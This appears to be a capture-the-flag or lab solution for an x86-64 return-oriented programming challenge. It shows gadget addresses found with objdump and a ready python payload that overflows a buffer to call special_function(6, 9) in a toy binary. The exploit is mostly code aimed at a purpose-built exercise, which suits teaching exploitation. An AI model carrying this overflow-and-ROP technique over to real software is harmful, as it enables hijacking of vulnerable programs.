Solution
x86-64 (64-bit) Version
Objective: Call special_function(6, 9) using ROP chain to set the flag.
In x86-64, function parameters are passed in registers (not on stack):
- First parameter (x=6) → RDI register
- Second parameter (y=9) → RSI register
Since the binary doesn’t have natural pop rdi/rsi gadgets, we added custom gadget functions:
void gadget_pop_rdi(void) { __asm__("pop %rdi; ret"); } // 0x40131e
void gadget_pop_rsi(void) { __asm__("pop %rsi; ret"); } // 0x40132b
ROP Chain Structure:
[24 bytes padding] +
[pop_rdi addr] + [value 6] + # Set RDI = 6
[pop_rsi addr] + [value 9] + # Set RSI = 9
[special_function addr] # Call special_function(6, 9)
Find addresses:
objdump -d rop | grep "gadget_pop_rdi>:" -A5 # 0x40131e: pop %rdi; ret
objdump -d rop | grep "gadget_pop_rsi>:" -A5 # 0x40132b: pop %rsi; ret
objdump -d rop | grep "special_function>:" # 0x401330
Exploit:
python3 -c 'import sys; sys.stdout.buffer.write(b"A"*24 + b"\x1e\x13\x40\x00\x00\x00\x00\x00" + b"\x06\x00\x00\x00\x00\x00\x00\x00" + b"\x2b\x13\x40\x00\x00\x00\x00\x00" + b"\x09\x00\x00\x00\x00\x00\x00\x00" + b"\x30\x13\x40\x00\x00\x00\x00\x00")' | ./rop
Or using the exploit script:
./exploit.sh | ./rop
Key Differences from 32-bit:
- Parameters in registers (RDI, RSI) instead of stack
- Addresses are 8 bytes (not 4)
- No need for
pop r15or extra stack cleanup - Simpler ROP chain structure
Note: The binary uses setvbuf(stdout, NULL, _IONBF, 0) to ensure flag output is flushed before segfault.